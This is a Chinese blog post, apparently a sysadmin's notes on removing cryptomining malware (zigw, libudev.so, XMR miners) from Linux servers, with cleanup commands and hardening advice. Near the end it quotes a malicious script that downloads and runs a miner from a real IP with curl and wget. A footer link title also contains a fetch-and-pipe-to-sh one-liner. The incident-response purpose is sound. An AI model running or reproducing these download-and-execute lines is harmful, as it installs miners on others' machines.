# rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2
查看任务计划的配置文件，并删除相应内容
# ls -alh /etc/cron.d/
# rm -f /etc/cron.d/root
恢复服务器中的js文件(其中grep的参数为小写的L)
# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'
因此恶意脚本中删除了所有防火墙规则，修改了一些文件。经过一番折腾，更新后恢复正常。
得出结论：比较简单的解决方法就是更新或重装（好像重建docker网络也不难）。
1.2 查杀方法
首先删除 /etc/crontab 文件中的定时任务，并保护该文件不再被病毒修改：
$ sudo chattr +i /etc/crontab
然后定位病毒的主进程，这需要通过 top 命令查看，往往 CPU 占用率最高的进程就是了，在我的例子中 8421 就是。定位后让其暂停执行，这时网络发包就会停下来了，同时也不会再不停的生成新进程了。
$ sudo kill -stop
接下来解决病毒产生的自启动文件，注意：具体的文件名称可能会有所不同，大家要根据自己的情况对应修改，领外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 里的启动脚本的软链接，而且是从 rc1.d 一直到 rc5.d 中都有，因为是软链接，也可以不用删除。
$ rm -r /etc/init.d/yjrfdbdkfs
$ rm -r /etc/rc1.d/S01yjrfdbdkfs
......
病毒启动脚本中调用的可执行文件也要删掉，文件存放在 /bin 和 /usr/bin 目录下，和启动脚本的名字是一致的，另外大家要留意一下是否有其他文件也被做了篡改，可以用时间倒序排列这两个目录下的文件，日期很新的都很有可能是被修改过的，都需要删除。下面这个例子中，dsxictdfoedxaj 文件明显就是有问题的。
$ ls -lrt /bin/
......
-rwxr-xr-x root root May : kill
lrwxrwxrwx root root Jun : mt -> /etc/alternatives/mt
lrwxrwxrwx root root Jun : netcat -> /etc/alternatives/netcat
lrwxrwxrwx root root Jun : nc -> /etc/alternatives/nc
-rwxr-xr-x root root Oct : dsxictdfoedxaj
$ rm -r dsxictdfoedxaj $ ls -lrt /usr/bin/
......
-rwxr-xr-x root root Oct : yjrfdbdkfs
-rwxr-xr-x root root Oct : yjrfdbdkfs.sh
$ rm -r /usr/bin/yjrfdbdkfs*
病毒在 /etc/cron.hourly/ 目录下产生的定时任务文件也要删掉，
$ rm -r /etc/cron.hourly/*.sh
最后，删掉 libudev.so ，再杀掉进程就算是大功告成了：
$ sudo rm -r /lib/libudev.so*
$ sudo kill -
2.2 查杀方法
病毒的工作方法和上一个是类似的，也是会加载一个任务，并启动多个进程，互相监控和保护，只是细节有些不同。
该病毒定时任务是写进了文件：/var/spool/cron/root，需要对应删除里面的内容。
然后要删除病毒的启动脚本：
$ sudo rm /etc/shz.sh
找到病毒的主进程（找到主进程的方式和之前也差不多，找 CPU 占用率最高的进程就可以了。），并停掉：
$ sudo kill -stop
删除主进程的配置文件和可执行文件：
$ sudo rm /etc/conf.json
$ sudo rm /etc/zjgw
删除其他病毒添加的文件：
$ sudo rm /etc/conf.n
$ sudo rm /etc/zaker
最后杀掉进程即可：
$ sudo kill -
另外 /tmp 目录下也会有一些残留文件，一并删除吧：
# ll /tmp/
total
drwxrwxrwt root root Oct : ./
drwxr-xr-x root root Oct : ../
drwxrwxrwt root root Sep : .ICE-unix/
drwxrwxrwt root root Sep : .Test-unix/
drwxrwxrwt root root Sep : .X11-unix/
drwxrwxrwt root root Sep : .XIM-unix/
drwxrwxrwt root root Sep : .font-unix/
-rwxr-xr-x root root Oct : gates.lod*
-rwxr-xr-x root root Oct : moni.lod*
drwx------ root root Oct : systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/
-rw-r--r-- root root Oct : tmp.l # rm gates.lod moni.lod tmp.l
有个小细节补充一下，在删除/usr/bin中的文件时候，存在1863条记录，比较多。可以换个思路进行，几条命令供参考：
awk '{print $7,$9}' aa.sh > bb.sh
sed -i 's/27/rm -rf g' bb.sh
ls -lrt
3 总结
本次服务器感染病毒，造成了一点影响，耽误了一点时间来处理，但是其实还挺有意思的。
主要的问题是因为 root 用户使用了强度较弱的口令，同时在公网暴露了 SSH 端口，另外虚拟机的基础镜像中就已经携带了病毒，造成每个产生的实例启动后都带上了病毒。
所以基础的安防工作还是要从以下几个方面入手：
- 减少公网暴露的端口数量；
- 禁止使用 root 用户进行 SSH 登录；
- 加强用户口令的强度；
- 对基础镜像做安全检查；
- 加强对线上服务的监控并设置告警规则。
参考：
其他资料：
补充：今天偶尔看到有位朋友(https://www.cnblogs.com/smallSevens/p/7554380.html)也做过类似的杀毒，看下里面这些shell脚本，看看写的思路：
#!/bin/sh
rm -rf /var/tmp/bmsnxvpggm.conf
ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "jmzaazwiom" -e "erlimkvsmb" -e "pdnpiqlnaa" -e "zhoimvmfqo"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/trtgsasefd.conf
rm -rf /var/tmp/trtgsasefd.conf
curl -o /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
wget -O /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker
else
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker_na
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi
看起来搞定了...
时间紧张，还有一堆事情得处理。
整理的比较乱，后续抽空在详细描述。。。。
。。
zigw 和 nanoWatch， libudev.so 和 XMR 挖矿程序查杀记录的更多相关文章
- Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh）
概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...
- XMR挖矿教程
XMR挖矿教程 XMR介绍 门罗币(Monero,代号XMR)是一个创建于2014年4月开源加密货币,它着重于隐私.分权和可扩展性.与自比特币衍生的许多加密货币不同,Monero基于CryptoNot ...
- 阿里云服务器被挖矿程序minerd入侵的终极解决办法[转载]
突然发现阿里云服务器CPU很高,几乎达到100%,执行 top c 一看,吓一跳,结果如下: root 386m S : /tmp/AnXqV -B -a cryptonight -o stratum ...
- SSH 暴力破解趋势——植入的恶意文件属 DDoS 类型的恶意文件最多，接近70%，包括 Ganiw、 Dofloo、Mirai、 Xarcen、 PNScan、 LuaBot、 Ddostf等家族。此外挂机、比特币等挖矿程序占5.21%
SSH 暴力破解趋势:从云平台向物联网设备迁移 | 云鼎实验室出品 from: http://www.freebuf.com/articles/paper/177473.html 导语:近日,腾讯云发 ...
- 解决centos被minerd挖矿程序入侵方法
记录一次服务器被入侵的解决方法 一:问题说明 1.我的服务器是使用的阿里云的CentOS,收到的阿里云发来的提示邮件如下 然后我查看了运行的进程情况(top 命令),看到一个名为minerd的进程占用 ...
- 生产Server遭挖矿程序入侵，暴力占用CPU
区块链的火热,利益驱使必然导致不少PC或Server,被变成肉鸡,执行挖矿程序进行挖矿,进而导致我们正常的程序无法正常. (Centos7 Server)使用top命令查看服务器进程运行情况,发现几个 ...
- 记录遭遇挖矿程序kthrotlds的失败处理经历
1 发现问题 在腾讯云上购买了一个centos7的服务器,平时用来练手,偶尔也安装一些程序进行测试,上面安装了mysql和redis,前段时间数据库经常掉线,连不上,到腾讯云后台进行查看,通过服务器实 ...
- windows服务器解决挖矿程序问题
前几天发现服务器报警,cpu使用率已达100%,查资料知道正是最近比较流行的挖矿程序在捣鬼.我们使用的是阿里云的服务器,操作系统是windows server.网上有大量的资料讲如何处理,我把自己处理 ...
- 服务器被疑似挖矿程序植入，发现以及解决过程（建议所有使用sonatype/nexus3的用户清查一下）
此次服务器被植入挖矿程序发现起来较为巧合,首先是上周三开始,我通过sonatype/nexus3搭建的仓库间歇性崩溃,但是每次重新start一下也能直接使用所以没有彻底清查,去docker logs里 ...
随机推荐
- M. Subsequence 南昌邀请赛
链接: https://nanti.jisuanke.com/t/38232 先给出一个s母串 然后给出n个子串 判断是否为母串的子序列 3000ms 2993ms过的.... 蒻鲫的代码: 建立表 ...
- liunx命令简介
图形界面和命令行要达到的目的是一样的,都是让用户控制计算机.然而,真正能够控制计算机硬件(CPU.内存.显示器等)的只有操作系统内核(Kernel),图形界面和命令行只是架设在用户和内核之间的一座桥梁 ...
- Python自制微信机器人：群发消息、自动接收好友
运营公众号也有半年了,今年5月份开始的,之前一直用一款windows工具来运营自动接受好友请求.群发文章.自动回复等操作,但颇有不便. 举几个场景: 突然在外面看到一篇文章很好,临时写了一篇,想群发一 ...
- js获取http请求响应头信息
var req = new XMLHttpRequest(); req.open('GET', document.location, false); req.send(null); var heade ...
- P3812 【模板】线性基
P3812 [模板]线性基 理解 :线性基 类似于 向量的极大无关组,就是保持原来所有数的异或值的最小集合, 求解过程也类似,可以 O( 60 * n )的复杂度求出线性基,线性基有许多性质,例如 线 ...
- Xamarin Essentials教程振动Vibration
Xamarin Essentials教程振动Vibration 振动是提醒用户的有效方式,尤其是声音提示效果不明显的场景中,如吵杂的环境中,手机放到包中.在很多的游戏中,振动还用来模拟游戏特效,如 ...
- jsonp 跨域 jsonp 发音
JSONP(JSON with Padding)是JSON的一种“使用模式” 可用于解决主流浏览器的跨域数据访问的问题. 由于同源策略, 一般来说位于 server1.example.com 的网页 ...
- [POI2012]Tour de Bajtocja
[POI2012]Tour de Bajtocja 题目大意: 给定一个\(n(n\le10^6)\)个点\(m(m\le2\times10^6)\)条边的无向图,问最少删掉多少条边能使得编号小于等于 ...
- [CF961E] Tufurama
Description: 有一天Polycarp决定重看他最喜爱的电视剧<Tufurama>.当他搜索"在线全高清免费观看Tufurama第3季第7集"却只得到第7季第 ...
- BZOJ2255 : [Swerc2010]Palindromic DNA
考虑2-SAT建图,设$a[i][0..1]$表示$i$变不变,$b[i][0..1]$表示$i$是下降还是上升. 首先相邻的不能同时动,说明$a[i]$和$a[i+1]$里最多选一个. 对于$x$和 ...